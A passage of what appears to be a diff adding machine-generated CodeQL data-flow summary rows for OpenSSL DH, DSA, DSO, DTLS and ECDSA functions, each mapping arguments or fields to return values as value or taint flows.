DH_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get0_name", "(const DH_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_bn_mod_exp", "(const DH_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_compute_key", "(const DH_METHOD *)", "", "Argument[*0].Field[*compute_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_finish", "(const DH_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_flags", "(const DH_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_generate_key", "(const DH_METHOD *)", "", "Argument[*0].Field[*generate_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_generate_params", "(const DH_METHOD *)", "", "Argument[*0].Field[*generate_params]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_get_init", "(const DH_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DH_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set0_app_data", "(DH_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set0_app_data", "(DH_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set1_name", "(DH_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set1_name", "(DH_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DH_meth_set_bn_mod_exp", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_compute_key", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*compute_key]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_finish", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_flags", "(DH_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_generate_key", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*generate_key]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_generate_params", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*generate_params]", "value", "dfc-generated"] + - ["", "", True, "DH_meth_set_init", "(DH_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "DH_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "DH_security_bits", "(const DH *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**pub_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**priv_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*pub_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_key", "(DH *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*priv_key]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[*params].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "DH_set0_pqg", "(DH *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "DH_set_flags", "(DH *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DH_set_length", "(DH *,long)", "", "Argument[1]", "Argument[*0].Field[*length]", "value", "dfc-generated"] + - ["", "", True, "DH_set_method", "(DH *,const DH_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "DH_set_method", "(DH *,const DH_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "DH_test_flags", "(const DH *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DH_test_flags", "(const DH *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DHparams_dup", "(const DH *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIRECTORYSTRING_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIRECTORYSTRING_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DISPLAYTEXT_free", "(ASN1_STRING *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DISPLAYTEXT_free", "(ASN1_STRING *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_dup", "(const DIST_POINT_NAME *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_free", "(DIST_POINT_NAME *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_NAME_free", "(DIST_POINT_NAME *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_free", "(DIST_POINT *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_free", "(DIST_POINT *)", "", "Argument[0]", "Argument[*0]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[*1]", "Argument[1]", "value", "df-generated"] + - ["", "", True, "DIST_POINT_set_dpname", "(DIST_POINT_NAME *,const X509_NAME *)", "", "Argument[1]", "Argument[*0]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_get0", "(const DSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**r]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**s]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*r]", "value", "dfc-generated"] + - ["", "", True, "DSA_SIG_set0", "(DSA_SIG *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*s]", "value", "dfc-generated"] + - ["", "", True, "DSA_clear_flags", "(DSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DSA_dup_DH", "(const DSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[*1]", "ReturnValue[*].Field[*params].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[1]", "ReturnValue[*].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters", "(int,unsigned char *,int,int *,unsigned long *,..(*)(..),void *)", "", "Argument[2]", "ReturnValue[*].Field[*params].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**seed]", "value", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[**seed]", "taint", "dfc-generated"] + - ["", "", True, "DSA_generate_parameters_ex", "(DSA *,int,const unsigned char *,int,int *,unsigned long *,BN_GENCB *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*seedlen]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_engine", "(DSA *)", "", "Argument[*0].Field[**engine]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_engine", "(DSA *)", "", "Argument[*0].Field[*engine]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_g", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**g]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_g", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*g]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_key", "(const DSA *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_p", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**p]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_p", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*p]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**3]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_pqg", "(const DSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*3]", "taint", "df-generated"] + - ["", "", True, "DSA_get0_priv_key", "(const DSA *)", "", "Argument[*0].Field[**priv_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_priv_key", "(const DSA *)", "", "Argument[*0].Field[*priv_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pub_key", "(const DSA *)", "", "Argument[*0].Field[**pub_key]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_pub_key", "(const DSA *)", "", "Argument[*0].Field[*pub_key]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_q", "(const DSA *)", "", "Argument[*0].Field[*params].Field[**q]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get0_q", "(const DSA *)", "", "Argument[*0].Field[*params].Field[*q]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_get_ex_data", "(const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_get_method", "(DSA *)", "", "Argument[*0].Field[**meth]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_get_method", "(DSA *)", "", "Argument[*0].Field[*meth]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_dup", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "DSA_meth_dup", "(const DSA_METHOD *)", "", "Argument[0]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[**]", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_app_data", "(const DSA_METHOD *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSA_meth_get0_name", "(const DSA_METHOD *)", "", "Argument[*0].Field[**name]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get0_name", "(const DSA_METHOD *)", "", "Argument[*0].Field[*name]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_bn_mod_exp", "(const DSA_METHOD *)", "", "Argument[*0].Field[*bn_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_finish", "(const DSA_METHOD *)", "", "Argument[*0].Field[*finish]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_flags", "(const DSA_METHOD *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_init", "(const DSA_METHOD *)", "", "Argument[*0].Field[*init]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_keygen", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_keygen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_mod_exp", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_mod_exp]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_paramgen", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_paramgen]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_sign", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_do_sign]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_sign_setup", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_sign_setup]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_get_verify", "(const DSA_METHOD *)", "", "Argument[*0].Field[*dsa_do_verify]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[*0]", "ReturnValue[*].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[0]", "ReturnValue[*].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_new", "(const char *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[**1]", "Argument[*0].Field[***app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[*1]", "Argument[*0].Field[**app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set0_app_data", "(DSA_METHOD *,void *)", "", "Argument[1]", "Argument[*0].Field[*app_data]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set1_name", "(DSA_METHOD *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**name]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set1_name", "(DSA_METHOD *,const char *)", "", "Argument[1]", "Argument[*0].Field[**name]", "taint", "dfc-generated"] + - ["", "", True, "DSA_meth_set_bn_mod_exp", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*bn_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_finish", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*finish]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_flags", "(DSA_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_init", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*init]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_keygen", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_keygen]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_mod_exp", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_mod_exp]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_paramgen", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_paramgen]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_sign", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_do_sign]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_sign_setup", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_sign_setup]", "value", "dfc-generated"] + - ["", "", True, "DSA_meth_set_verify", "(DSA_METHOD *,..(*)(..))", "", "Argument[1]", "Argument[*0].Field[*dsa_do_verify]", "value", "dfc-generated"] + - ["", "", True, "DSA_new_method", "(ENGINE *)", "", "Argument[0]", "ReturnValue[*].Field[*engine]", "value", "dfc-generated"] + - ["", "", True, "DSA_print", "(BIO *,const DSA *,int)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "DSA_print", "(BIO *,const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_print_fp", "(FILE *,const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[**pub_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[**priv_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*pub_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_key", "(DSA *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*priv_key]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*1]", "Argument[*0].Field[*params].Field[**p]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*2]", "Argument[*0].Field[*params].Field[**q]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[*3]", "Argument[*0].Field[*params].Field[**g]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[1]", "Argument[*0].Field[*params].Field[*p]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[2]", "Argument[*0].Field[*params].Field[*q]", "value", "dfc-generated"] + - ["", "", True, "DSA_set0_pqg", "(DSA *,BIGNUM *,BIGNUM *,BIGNUM *)", "", "Argument[3]", "Argument[*0].Field[*params].Field[*g]", "value", "dfc-generated"] + - ["", "", True, "DSA_set_flags", "(DSA *,int)", "", "Argument[1]", "Argument[*0].Field[*flags]", "taint", "dfc-generated"] + - ["", "", True, "DSA_set_method", "(DSA *,const DSA_METHOD *)", "", "Argument[*1]", "Argument[*0].Field[**meth]", "value", "dfc-generated"] + - ["", "", True, "DSA_set_method", "(DSA *,const DSA_METHOD *)", "", "Argument[1]", "Argument[*0].Field[*meth]", "value", "dfc-generated"] + - ["", "", True, "DSA_sign", "(int,const unsigned char *,int,unsigned char *,unsigned int *,DSA *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "DSA_test_flags", "(const DSA *,int)", "", "Argument[*0].Field[*flags]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_test_flags", "(const DSA *,int)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSA_verify", "(int,const unsigned char *,int,const unsigned char *,int,DSA *)", "", "Argument[3]", "Argument[*3]", "taint", "dfc-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "Argument[0]", "value", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[*0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["", "", True, "DSAparams_dup", "(const DSA *)", "", "Argument[0]", "ReturnValue[*]", "taint", "df-generated"] + - ["", "", True, "DSAparams_print", "(BIO *,const DSA *)", "", "Argument[0]", "Argument[*0].Field[**prev_bio].Field[*next_bio]", "value", "dfc-generated"] + - ["", "", True, "DSAparams_print", "(BIO *,const DSA *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSAparams_print_fp", "(FILE *,const DSA *)", "", "Argument[1]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*0].Field[*filename]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[*1]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_convert_filename", "(DSO *,const char *)", "", "Argument[1]", "ReturnValue[*]", "taint", "dfc-generated"] + - ["", "", True, "DSO_ctrl", "(DSO *,int,long,void *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_ctrl", "(DSO *,int,long,void *)", "", "Argument[2]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_dsobyaddr", "(void *,int)", "", "Argument[1]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_flags", "(DSO *)", "", "Argument[*0].Field[*flags]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_get_filename", "(DSO *)", "", "Argument[*0].Field[**filename]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "DSO_get_filename", "(DSO *)", "", "Argument[*0].Field[*filename]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*0]", "ReturnValue[*]", "value", "df-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[*1]", "ReturnValue[*].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[1]", "ReturnValue[*].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[3]", "Argument[*0].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_load", "(DSO *,const char *,DSO_METHOD *,int)", "", "Argument[3]", "ReturnValue[*].Field[*flags]", "value", "dfc-generated"] + - ["", "", True, "DSO_set_filename", "(DSO *,const char *)", "", "Argument[*1]", "Argument[*0].Field[**filename]", "value", "dfc-generated"] + - ["", "", True, "DSO_set_filename", "(DSO *,const char *)", "", "Argument[1]", "Argument[*0].Field[**filename]", "taint", "dfc-generated"] + - ["", "", True, "DTLS_get_data_mtu", "(const SSL *)", "", "Argument[*0].Field[**d1].Field[*mtu]", "ReturnValue", "taint", "dfc-generated"] + - ["", "", True, "DTLS_set_timer_cb", "(SSL *,DTLS_timer_cb)", "", "Argument[1]", "Argument[*0].Field[**d1].Field[*timer_cb]", "value", "dfc-generated"] + - ["", "", True, "ECDH_compute_key", "(void *,size_t,const EC_POINT *,const EC_KEY *,..(*)(..))", "", "Argument[1]", "ReturnValue", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**1]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[**2]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*1]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0", "(const ECDSA_SIG *,const BIGNUM **,const BIGNUM **)", "", "Argument[*0]", "Argument[*2]", "taint", "df-generated"] + - ["", "", True, "ECDSA_SIG_get0_r", "(const ECDSA_SIG *)", "", "Argument[*0].Field[**r]", "ReturnValue[*]", "value", "dfc-generated"] + - ["", "", True, "ECDSA_SIG_get0_r", "(const ECDSA_SIG *)", "", "Argument[*0].Field[*r]", "ReturnValue", "value", 